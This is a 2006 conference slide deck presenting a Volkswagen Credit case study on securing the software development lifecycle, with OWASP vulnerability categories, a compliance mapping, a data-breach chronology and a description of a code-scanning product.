Microsoft Financial Services

Developer
Conference

Volkswagen Credit and Halock Security Labs

(formerly Remington Associates)
Financial Services Developer Conference
Project Case Study: Securing the SDLC
April 24th-25th, 2006

Terry Kurzynski
CISA, CISSP, PMP
Halock Security Labs
terryk@halock.com

© 2006 Microsoft Corporation. All rights reserved.

This presentation is for informational purposes only. Microsoft makes no warranties,
express or implied, in this summary.
Agenda (Application Security)

• Evolution of Exploits
• Justification for the Risk Assessment
– Regulation Compliance
– Security Best Practices
• Risk Assessment
– Scanning Tools
– Ethical Hacking
– SDLC Assessment
– Source Code Analysis
• Application Security Discipline
– Tools, and Techniques
– Guidelines, Methods, Standards, and Procedures
– Integration
– Training
• Monitor and Evaluate
Evolution of Exploits
Applications are the New Vulnerability

• 70% of attacks are accomplished with a properly

configured firewall, anti-virus solution, and IDS.

70% of Attacks
- Gartner
The Disconnect

• Security Professionals do not understand web

applications.
• Application Developers and QA Professionals do not
understand Security.
The Risks of Not Addressing Application Security

• Production systems down

• Legal liabilities for not being compliant with regulations
concerning the protection of personal/private information.
• Corporate espionage and targeting intellectual property
• Public notice of security inadequacies
• Loss revenues due to fraudulent transactions
• Loss of business to competition that has embraced
marketing security and security accreditation
• High cost of remediation for security vulnerabilities &
bugs late in SDLC
OWASP Top 10 Web Application Vulnerabilities

1) Non-validated Input
2) Broken Access Control
3) Broken Authentication and Session Management
4) Cross Site Scripting (XSS) Flaws
5) Buffer Overflows
6) Injection Flaws
7) Improper Error Handling
8) Insecure Storage
9) Denial of Service
10) Insecure Configuration Management
 Mapping Compliance to Web Application Security
Regulation Requirement Mapping to OWASP
Sarbox User authentication Broken authentication

Sarbox Password management Insecure storage

Sarbox Access controls Broken access control

Sarbox Input validation Non-validated input

Sarbox Exception handling Improper error handling

Sarbox Secure data storage and transmission Insecure storage

GLBA Ensure confidentiality of customer info Insecure storage

GLBA Protect against any anticipated threats to security.. all

GLBA Protect against unauthorized access to or use of customer info Broken access control, broken authentication and
session management, & insecure storage

PCI Build and maintain a secure network Insecure configuration management

PCI Protect stored data, encrypt transmission of cardholder data and other sensitive info Insecure storage

PCI Develop and maintain secure systems and applications All

PCI Restrict access to data on business need to know. Assign unique ID.. Broken access control and authentication

FFIEC Encryption is used to secure communications and data storage of sensitive info Insecure storage

FFIEC Access should be provided only to authorized individuals limited to minimum business req Broken Access Control

FFIEC Controls to protect against malicious code Non-validated input, XSS, bufferoverflow,
SQLinjections

HIPAA Access to personal information needs to be logged Broken access control

HIPAA Requirements for encryption of sensitive data transmission and storage Insecure storage
Security Breach Notification Acts
• Arkansas, passed 2005
• California, effective 7/1/2003
• Connecticut, effective 1/1/2006
• Delaware, signed 6/28/2005
• Florida, effective 7/1/2005
• Georgia, effective 5/6/2005
• Illinois, effective 1/1/2006
• Indiana, effective 6/30/2006
• Louisiana, effective 1/1/2006
• Maine, effective 1/31/2006
• Minnesota, effective 1/1/2006
• Montana, effective 3/1/2006
• New Jersey, effective 1/1/2006
• New York, effective Jan 2006
• Nevada, effective 1/1/2006
• North Carolina, effective 12/1/2005
• North Dakota, effective 6/1/2005
• Ohio, effective 2/15/2006
• Rhode Island, effective 3/1/2006
• Tennessee, effective 7/1/2005
• Texas, effective 9/1/2005
• Washington, effective 7/24/2005
Security Breach Notifications Since Feb 15, 2005
• Feb. 15, 2005 ChoicePointBogus accounts established by ID thieves 145,000
• Feb. 25 , 2005 Bank of America Lost backup tape 1,200,000
• Feb. 25, 2005 PayMaxx Exposed online
25,000
• March 8, 2005 DSW/Retail VenturesHacking 100,000
• March 10, 2005 LexisNexis Passwords compromised 32,000
• March 11, 2005 Univ. of CA, Berkeley Stolen laptop 98,400
• March 11, 2005 Boston College Hacking 120,000
• March 12, 2005 NV Dept. of Motor Vehicle Stolen computer 8,900
• March 20, 2005 Northwestern Univ.Hacking 21,000
• March 20, 2005 Univ. of NV., Las Vegas Hacking 5,000
• March 22, 2005 Calif. State Univ., Chico Hacking 59,000
• March 23, 2005 Univ. of CA, San Francisco Hacking 7,000
• March 28, 2005 Univ. of Chicago Hospital Dishonest insider unknown
• April ?, 2005 Georgia DMV Dishonest insider 465,000
• April 5, 2005 MCIStolen laptop 16,500
• April 8, 2005 Eastern National Hacker 15,000
• April 8, 2005 San Jose Med. Group Stolen computer
185,000
• April 11, 2005 Tufts University Hacking 106,000
• April 12, 2005 LexisNexis Passwords compromised Additional 280,000
• April 14, 2005 Polo Ralph Lauren/HSBC Hacking 180,000
• April 14, 2005 Calif. Fastrack Dishonest Insider 4,500
• April 15, 2005 CA Dept. of Health Services Stolen laptop 21,600
Notifications continued
• April 18, 2005 DSW/ Retail Ventures Hacking Additional 1,300,000
• April 20, 2005 Ameritrade Lost backup tape 200,000
• April 21, 2005 Carnegie Mellon Univ. Hacking 19,000
• April 26, 2005 Mich. State Univ's Wharton Center Hacking 40,000
• April 26, 2005 Christus St. Joseph's Hospital Stolen computer 19,000
• April 28, 2005 Georgia Southern Univ.Hacking "tens of thousands“
• April 28, 2005 Wachovia, Bank of America,PNC Financial Services Group and
Commerce Bancorp Dishonest insiders 676,000
• April 29, 2005 Oklahoma State Univ. Missing laptop 37,000
• May 2, 2005 Time Warner Lost backup tapes 600,000
• May 4, 2005 CO. Health Dept. Stolen laptop 1,600 (families)
• May 5, 2005 Purdue Univ. Hacking 11,360
• May 7, 2005 Dept. of Justice Stolen laptop 80,000
• May 11, 2005 Stanford Univ. Hacking 9,900
• May 12, 2005 Hinsdale Central High School Hacking 2,400
• May 16, 2005 Westborough BankDishonest insider 750
• May 18, 2005 Jackson Comm. College, Michigan Hacking 8,000
• May 18, 2005 Univ. of Iowa Hacking 30,000
• May 19, 2005 Valdosta State Univ., GA Hacking 40,000
• May 20, 2005 Purdue Univ. Hacking 11,000
• May 26, 2005 Duke Univ. Hacking 5,500
• May 27, 2005 Cleveland State Univ.Stolen laptop: CSU found the stolen laptop [44,420]
May 28, 2005 Merlin Data Services Bogus acct. set up 9,000
• May 30, 2005 Motorola Computers stolen unknown
• June 6, 2005 CitiFinancial Lost backup tapes 3,900,000
• June 10, 2005 Fed. Deposit Insurance Corp. (FDIC) Not disclosed 6,000
• June 16, 2005 CardSystems Hacking 40,000,000
Notifications continued

• June 17, 2005 Kent State Univ.Stolen laptop 1,400

• June 18, 2005 Univ. of Hawaii Dishonest Insider 150,000
• June 22, 2005 Eastman Kodak Stolen laptop 5,800
• June 22, 2005 East Carolina Univ. Hacking 250
• June 25, 2005 Univ. of CT (UCONN) Hacking 72,000
• June 28, 2005 Lucas Cty. Children Services (OH) Exposed by email 900
• June 29, 2005 Bank of America Stolen laptop 18,000
• June 30, 2005 Ohio State Univ. Med. Ctr. Stolen laptop 15,000
• July 1, 2005 Univ. of CA, San Diego Hacking 3,300
• July 6, 2005 City National Bank Lost backup tapes unknown
• July 7, 2005 Mich. State Univ. Hacking 27,000
• July 19, 2005 Univ. of Southern Calif. (USC) Hacking 270,000
• July 21, 2005 Univ. of Colorado-Boulder Hacking 42,000
• July 30, 2005 San Diego Co. Employees Retirement Assoc. Hacking 33,000
• July 30, 2005 Calif. State Univ., Dominguez Hills Hacking 9,613
• July 31, 2005 Cal Poly-Pomona Hacking 31,077
• Aug. 2, 2005 Univ. of Colorado Hacking 36,000
• Aug. 9, 2005 Sonoma State Univ. Hacking 61,709
• Aug. 9, 2005 Univ. of Utah Hacking 100,000
• Aug. 10, 2005 Univ. of North Texas Hacking 39,000
• Aug. 17, 2005 Calif. State University, Stanislaus Hacking 900
• Aug. 19, 2005 Univ. of ColoradoHacking 49,000
• Aug. 22, 2005 Air ForceHacking 33,300
• Aug. 27, 2005 Univ. of Florida, Health Sciences Center/Stolen Laptop 3,851
Notifications continued
• Aug. 30, 2005 J.P. Morgan, Dallas Stolen Laptop Unknown
• Aug. 30, 2005 Calif. State University, Chancellor's Office Hacking 154
• Sept. 10, 2005 Kent State Univ. Stolen Computers 100,000
• Sept. 15, 2005 Miami Univ. Exposed Online 21,762
• Sept. 16, 2005 ChoicePoint ID thieves accessed; misuse of IDs & passwords 9,903
• Sept. 17, 2005 North Fork Bank, NY Stolen laptop (7/24/05) with mortgage data 9,000
• Sept. 19, 2005 Children's Health Council, San Jose CA Stolen backup tape 5,000 - 6,000
• Sept. 22, 2005 City University of New York Exposed online 350
• Sept. 23,2005 Bank of America Stolen laptop w info of Visa users (debit cards) Not disclosed
• Sept. 28, 2005 RBC Dain RauscherI illegitimate access by former employee 100+ customers'
• Sept. 29, 2005 Univ. of Georgia Hacking At least 1,600
• Oct. 12, 2005 Ohio State Univ. Medical Center Exposed online. 2,800
• Oct. 15, 2005 Montclair State Univ.Exposed online 9,100
• Oct. 21, 2005 Wilcox Memorial Hospital, Hawaii Lost backup tape 130,000
• Nov. 1, 2005 Univ. of Tenn. Medical Center Stolen laptop 3,800
• Nov. 4, 2005 Keck School of Medicine, USC Stolen computer 50,000
• Nov. 5, 2005 Safeway, Hawaii Stolen laptop 1,400
• Nov. 8, 2005 ChoicePoint Bogus accounts established by ID thieves 17,000 more
• Nov. 9, 2005 TransUnionStolen computer 3,623
• Nov. 11, 2005 Georgia Tech Ofc. of Enrollment Services Stolen computertheft, 13,000
• Nov. 11, 2005 Scottrade Troy Group Hacking Unknown
• Nov. 19, 2005 Boeing Stolen laptop with HR data incl. SSNs and bank account 161,000
• Dec. 1, 2005 Firstrust Bank Stolen laptop 100,000
• Dec. 1, 2005 Univ. of San Diego Hacking. Faculty, students SSNs 7,800
• Dec. 2, 2005 Cornell Univ. Hacking. Names, addresses, SSNs, bank acct.# 900
Notifications continued
• Dec. 6, 2005 WA Employment Security Dept. Stolen laptop. Names, SSNs 530
• Dec. 12, 2005 Sam's Club/Wal-Mart Unknown
• Dec. 16, 2005 La Salle Bank, ABN AMRO found the lost tape [2,000,000]
• Dec. 16, 2005 Colorado Tech. Univ. Email erroneously sent containing SSN 1,200
• Dec. 20, 2005 Guidance Software, Inc. Hacking. Customer card numbers 3,800
• Dec. 22, 2005 Ford Motor Co. Stolen computer. Names and SSNs 70,000
• Dec. 25, 2005 Iowa State Univ. Hacking. Credit card and SSN 5,500
• Dec. 28, 2005 Marriot International Lost backup tape. SSNs, credit card data 206,000
• Jan. 1, 2006 University of Pittsburgh Medical Center,SSN 700
• Jan. 2, 2006 H&R Block SSNs exposed in 40-digit string on mailing label Unknown
• Jan. 9, 2006 Atlantis Hotel - Kerzner Int'l Dishonest insider; credit card,SSN 55,000
• Jan. 12, 2006 People's Bank Lost computer tape containing SSN, checking 90,000
• Jan. 17, 2006 San Diego, Water & Sewer employee accessed customer SSNs, Unknown
• Jan. 20, 2006 Indiana Univ. Hacking. Reservation credit card account # Unknown
• Jan. 21, 2006 California Army National Guard, w SSN & DOB Unknown
• Jan. 23, 2006 Univ. of Notre Dame, SSN, cc images of school donors. Unknown
• Jan. 24, 2006 Univ. of WA Medical Center laptops w SSN, & personal data 1,600
• Jan. 25, 2006 Providence Home Services, Stolen backup w SSN, clinical info 365,000
• Jan. 27, 2006 State of RI web site, obtained CC numbers 4,117
• Jan. 31, 2006 Boston Globe exposed Credit and debit card information 240,000
• Feb. 1, 2006 Blue Cross and Blue Shield of North Carolina exposed SSNs of members
printed on the mailing labels of envelopes with information about a new insurance plan. 600
• Feb. 4, 2006 FedExInadvertently exposed. W-2 forms w tax info 8,500
• Feb. 9, 2006 OfficeMax and perhaps others.Hacking. Debit card accounts 200,000,
Notifications continued
• Feb. 9, 2006 Honeywell International Exposed online. Personal information of current and
former employees including Social Security numbers and bank account information posted on an
Internet Web site. 19,000
• Feb. 13, 2006 Ernst & Young, Laptop stolen w SSN of BP, SUN, CISCO,IBM 38,000
• Feb. 15, 2006 Dept. of Agriculture exposed SSN and tax id 350,000
• Feb. 15, 2006 Old Dominion Univ. Exposed ssn on line 601
• Feb. 16, 2006 Blue Cross and Blue Shield of Florida SSN 27,000
• Feb. 17, 2006 Calif. Dept. of Corrections, SSN, DOB Unknown
• Feb. 17, 2006 Mount St. Mary's Hospital w DOB, SSN on stolen laptop 17,000
• Feb. 18, 2006 Univ. of Northern Iowa Hacking. Student W-2 6,000
• Feb. 23, 2006 Deloitte & Touche Lost CD with SSN of McAfee employees. 9,290
• Mar. 1, 2006 Medco stolen laptop with SSN. 4,600
• Mar. 1, 2006 OH Secretary of State's Office SSNs, dates of birth, Unknown
• Mar. 2, 2006 Olympic Funding 3 hard drives w SSN stolen during break in Unknown
• Mar. 2, 2006 Los Angeles Cty. Social Services, SSN, W-2 2,000,000
• Mar. 2, 2006 Hamilton County Clerk of Courts SSNs, of residents 1,300,000
• Mar. 3, 2006 Metropolitan State College Stolen laptop w SSN 93,000
• Mar. 5, 2006 Georgetown Univ. Hacking of SSN and DOB 41,000
• Mar. 8, 2006 Verizon Communications 2 stolen laptops w SSN Unknown
• Mar. 8, 2006 iBill, names, phone numbers, addresses, e-mail addresses, Internet IP
addresses, logins and passwords, credit card types and purchase amount online. 17,781,462
• Mar. 11, 2006 CA Dept. of Consumer Affairs A) DCA licensees Unknown
• Mar. 14, 2006 General Motors,SSN of co-workers to perpetrate identity theft. 100
Notifications continued

• Mar. 14, 2006 Buffalo Bisons and Choice One Online w SSN Unknown
• Mar. 15,2006 Ernst & Young Laptop lost w SSN and other info of IBM emp Unknown
• Mar. 16, 2006 Bananas.com Hacker accessed credit card numbers 274
• Mar. 22,2006 Medco Health Solutions Stolen laptop w SSN and drug histories 4,600
• Mar. 23,2006 Fidelity Investments Stolen laptop with DOB, SSN 196,000
• Mar. 24,2006 CA State Employment Division SSN info sent to wrong address 64,000
Risk Assessments for Web Applications

“If you know the enemy and know yourself you can fight a
hundred battles with no danger of defeat." - Sun Tzu

• Vulnerability Scanning (Black Box)

• Ethical Hacking
• SDLC Assessment
• Source Code Analysis (White Box)
Vulnerability Scanning (Black Box)

• Vulnerability scanning using automated tools

• Identification of patterns and evaluation of associated risks
• Manual testing of systems and services to eliminate false positives
• Automated scanning will identify as much as 50% of actual
vulnerabilities related to the application and platform
Ethical Hacking

• More time and resource intensive than

automated tools alone
• Will identify a greater percentage of actual
vulnerabilities
• Scan systems using manual recon methods as
well as automated tools
• Review scans to rule out "false positives"
• Attempt to compromise system permissions and
escalate privileges through programmatic
manipulation
• Upload and execute programs to exploit
discovered vulnerabilities
SDLC Assessment

• SDLC Assessments are more meaningful when

combined with Vulnerability Scanning, Ethical Hacking,
and Source Code Analysis
• Should cover all stages of Development
– Requirements
– Analysis and Design
– Development
– QA, Testing and Deployment
– Operations and Management
SDLC Assessment (REQUIREMENTS)

• Review security policy

• Identify applicable laws and regulation requirements
• Identify business security requirements including mis-use
cases
• Identify requirements to support the Disaster Recovery
Plan
• Identify and classify sensitive data and objects
• Ensure traceability of requirements throughout the SDLC
SDLC Assessment (ANALYSIS and DESIGN)

• Secure data communication and transaction

management
• Apply the principle of least privilege
• Address the authentication, authorization and non-
repudiation mechanism
• Appropriate use of Identity and Access Management
• Use of accepted design patterns for component
reusability
• Review session management and lifespan integrity
• Identify database security configuration
• Identify configuration and change control management
procedures
SDLC Assessment (DEVELOPMENT)

• Use of defensive coding techniques (to prevent

hack/attacks)
• Use of development standards
• Use of security classes/components
• Security testing tools for developers
SDLC Assessment (QA, TESTING & DEPLOYMENT)

• Perform security validation and review

• Use of automated testing tools (load, function, security)
• Use of production and staging environments
• Identify back-up architecture and software licensing
• Use of sanitized test data (private information)
• Identify roll-out procedures
SDLC Assessment (OPERATIONS and MANAGEMENT)

• Check the assignment of security responsibility

• Validate incident response procedures and training
• Review problem and change management procedures
• Assess effectiveness of Web analytics and traffic
analysis
• Test / review back-up operations
• Check for legal copies of all software on regular basis
Source Code Analysis

• Also known as “White Box” testing

• Review source code for security vulnerabilities
• Automated tools available to assist with J2EE and .NET
• Application architecture should also be reviewed
• Provides solid indicator of application developer security
maturity
Using the Findings & Recommendations

• Use results of risk assessment to plan remediation

efforts
• Should harmonize with other risk management activities
in the organization (IT Governance, Regulation, Audit,
security assessments, IT Plans, Security Plans, DR)
• There is no silver bullet
• In depth defense for applications
Security Tools, Methods, and Techniques

Obstacles for remediation

• Slowing development of production systems
• Overhead for developers
• Cultural changes
• Buy-in from all groups (Exec, Security, application
owners, architects, developers, QA, Internal Audit,
Operations, Network)
• Identifying an Application Security Champion
• Enforcement of new Process, Guidelines, Standards,
Policies resulting from integration of new tools and
techniques
Monitor and Evaluate

• Staying current with top vulnerabilities

• Scheduled internal risk assessments
• 3rd party audit/assessment
• Security training
• Maturity Model
– Level I Non-existent
– Level II Random
– Level III Repeatable
– Level IV Managed
– Level V Optimized
Additional Information
• OWASP Top 10, http://www.owasp.org/documentation/topten.html

• FFIEC Application Guidelines,

http://www.ffiec.gov/ffiecinfobase/booklets/d_a/d_and_a.pdf

• A Chronology of Data Breaches Reported Since the ChoicePoint Incident

http://www.privacyrights.org/ar/ChronDataBreaches.htm

• Summary of State Security Freeze and Security Breach Notification Laws

http://www.pirg.org/consumer/credit/statelaws.htm

• ISO-17799, Code of practice for information security management

http://www.iso.org/iso/en/commcentre/pressreleases/2005/Ref963.html

• FTC’s Privacy Site

http://www.ftc.gov/privacy/index.html

• http://usa.visa.com (PCI requirements)

• Remington Application Security Services, http://www.remingtonltd.com

 Microsoft Financial Services

Developer
Conference

Financial Services Developer Conference

April 24th-25th, 2006

Terry McCarthy
Information Risk Manager
Volkswagen Credit, Inc.
Terry.McCarthy@vwcredit.com

© 2006 Microsoft Corporation. All rights reserved.

This presentation is for informational purposes only. Microsoft makes no warranties,
express or implied, in this summary.
Case Study – Volkswagen Credit Inc.
Needs Identification

• We have adequately secured the network (firewalls,

antivirus, etc)
• We have not secured web applications
• Moving toward more business applications to be web
enabled
• Regulated private data to be transacted on the web for
the first time
Case Study – Volkswagen Credit Inc.
What the Industry Experts were saying

• Need to integrate security into the entire SDLC

• Develop security standards for development –
– Example – Verify the maximum number of characters for input
and check for expected characters
• Developer education
• Code reviews
• Testing
– Compiler-like source code scan (White Box)
– Scripted test cases simulating malicious user (Black Box)
Case Study – Volkswagen Credit Inc.
Request for proposal

Security tools should be..

• Integrated into existing process with less overhead
• Used on regular basis to check for the new threats
• Used just like another tool
• Able to provide guidelines for correcting the identified
vulnerabilities
Case Study – Volkswagen Credit Inc.
Success Factors

• The code-base and applications to become “attack-proof” from

vulnerabilities
• The scheduling overhead should be minimal and predictable
• Integration of tools and methods into project and operations life cycle
• Training for groups on new best practices and use of tools
– Business Analysts
– Project Managers
– Architects
– Risk Managers
– Developers
– DBA
– Test
– QA
– Operations
Case Study – Volkswagen Credit Inc.
Requirements & Questions for Testing Tool Vendors

• Vulnerabilities tested?
– Example – OWASP Top 20 (Open Web Application Security
Project)
– Unvalidated input, broken access controls...
• Custom rules
– Example – Show only last 4 characters of account number
• Use of existing test case scripts from testing tools
• Reporting
– Individual errors and recommended fix
– Compliance mapping to regulations and custom rules
– Module and full application security rating
Case Study – Volkswagen Credit Inc.
Integration Requirements

• Tools usage requirements

– Easily integrated into the development and testing environment;
used regularly by development, QA and ops group for new and
existing web applications; provide the guidelines for correcting
the identified vulnerabilities; should be used by VCI team as a
normal user; integrated with build process.
• Process related requirements
– Fit within the current project process flow; implemented across
all the groups and processes within project life cycle including
development and ops team.
• Scheduling related requirements
– Security requirements should be identified at the initiation phase
of the project; estimates should include the security
requirements as well as use of the security tools during the
development and testing process.
• Operational requirements
– Schedule and resources for conducting ongoing web application
vulnerability scans should be established by ops group
Case Study – Volkswagen Credit Inc.
Approach to Implementation

• Performed SDLC assessment

– Reviewed existing processes and with key stakeholders
– Analyzed findings
– Prepared report based on findings
• Confirmed requirements with key stakeholders
• Created a Project plan to integrate security tools
– Identified required resources and timelines for security tools
training
• Created 11 new steps for integrating security tools
– Analyzed GPS and identified changes necessary to integrate new
steps
– Identified process owners and dedicated resource to manage tools
• Security tools training
– Managed training sessions
– Coordinated the tools training time and resources with tool vendors
– Ran a mock session with Volkswagen application
• Conducted security best practices session for developers
Case Study – Volkswagen Credit Inc.
Steps Integrated into the GPS

1. Gather architectural security requirements

2. Perform IRM early assessment
3. Identify function and non-functional security requirements
4. Perform IRM high-level assessment (Threat modeling)
5. Create misuse cases
6. Perform security analysis and design
7. Perform IRM detailed assessment
8. Write secure code and run “whitebox” testing tool
9. Perform security testing using “blackbox” QA tool
10. Confirmation of IRM detailed process
11. Conduct security testing using “blackbox” audit tool
12. Conduct production scanning using “blackbox” audit tool
13. Administer security testing and tools
Case Study – Volkswagen Credit Inc.
Project Outcome

• In-depth analysis of existing processes and integration of

new steps into existing GPS process
• Highlighted the need for dedicated resources to analyze
the security tools findings
• Project came in at expected cost and schedule
• Security education of teams training on tools
Case Study – Volkswagen Credit Inc.
Continuous Improvement (next steps)

• Work on security best practices (standards) for

application developers
• Training on “Hacking techniques” as well as interpreting
the scan results
• Anticipate possible extended project timelines due to
larger number of vulnerabilities from applications already
in production
• Set start date for absolute use of new process, tools, and
techniques (New development project a good candidate)
Application Security Issues
Examples of Security Vulnerabilities

• Buffer Overflow
– Corrupting objects with heap overruns
– Method redirection by v-table hijacking
– Denial of Service (DoS)
• Cross-Site Scripting (XSS)
– Embedding malicious code
– Intercepting user input
– Cookie poisoning
• SQL Injection
– Passes malicious input to a database server
– Tainted SQL
– Examine, modify and corrupt
Defending the Application
with the Security Assessment Solution
What is the Security Assessment Solution?

• A Powerful Security Analysis solution used to locate potential

security vulnerabilities is ASP.NET applications
– Inside-out and outside-in
• Consisting of two components:
– DevPartner SecurityChecker
– Security Assessment framework
DevPartner SecurityChecker

• Provides three methods of analysis:

– Compile-Time analysis (DEVELOP phase):
 Searches for vulnerabilities in source code and MSIL
– Run-Time analysis (DEBUG phase):
 Discovers vulnerabilities during code execution
– Integrity analysis (PRE-DEPLOY phase):
 Identifies vulnerabilities by simulating attacks on your application
White and Black Box Analysis
SecurityChecker Comprehensiveness

• A vulnerability scanner that locates complex & hard to find security

vulnerabilities
• Only product on the market to use both black-box and white-box
testing techniques.

Technique Industry Name SecurityChecker Name

Black-box Automated Vulnerability Testing Integrity Analysis

White-box Static Source Code Analysis Compile-time Analysis

--- Run-time Analysis

Integrity Analysis
(Automated Vulnerability Testing)

• Analyzes the application from the outside in

• Simulates an attack on the application
– Runs the application with modified inputs
– Monitors the application’s response
 Integrity Analysis Finds…
Execution Errors
• XSS attack
• SQL injection attack
• Parameter tampering
• Buffer overflow
• Command injection
Insecure Coding Practices
• Incorrect error handling
• Page not sent securely
• Comments in Web page
• Possible secrets revealed in comments
Compile-time Analysis
(Static Source Code Analysis)

• Analyzes the application from the inside out

• Examines .NET assemblies and determines if
security issues exist
• Examines the metadata and IL code
Compile-time Analysis Finds…
Security Context
• Insecure construction of serialized classes
• Insecure construction of custom security
permissions
• Member permission overrides its class
permission
• Insecure use of System.Random class
• Use of Deny could be overridden
• Luring attack security hole
• Potential for falsely elevated privileges
• Class not excluded from use by untrusted
code
• Static constructor unprotected
Insecure Coding Practices
• EnableViewState MAC enabled
• ValidateRequest enabled
• Inheritance threats
• Potential for buffer overrun
• Insufficient security when using P/Invoke
• Code verification not being performed
• Class and struct scope considerations
Deployment Issues
• Debugging enabled
• Tracing enabled
• Weak security on password
Run-time Analysis
(Unique in the industry)

• Analyzes the application from the inside

out
• Monitors the application
– As it executes at run-time to
detect security vulnerabilities
– As they occur
 Run-time Analysis Finds…
Security Context Errors
• Excessive account privileges
• Privileged API use
• Privileged account use
• Impersonation risk
Other errors
• Impersonation failures
• Running as local administrator
• Privileges used / unused
• Unhandled exceptions
Insecure Coding Practices
• Excessive registry access
• Impersonation performed
• SQL risks
– Use of DB administrator’s account
– Text commands
– Weak password
• Weak use of cryptography
• Excessive object access
• Write access to system directory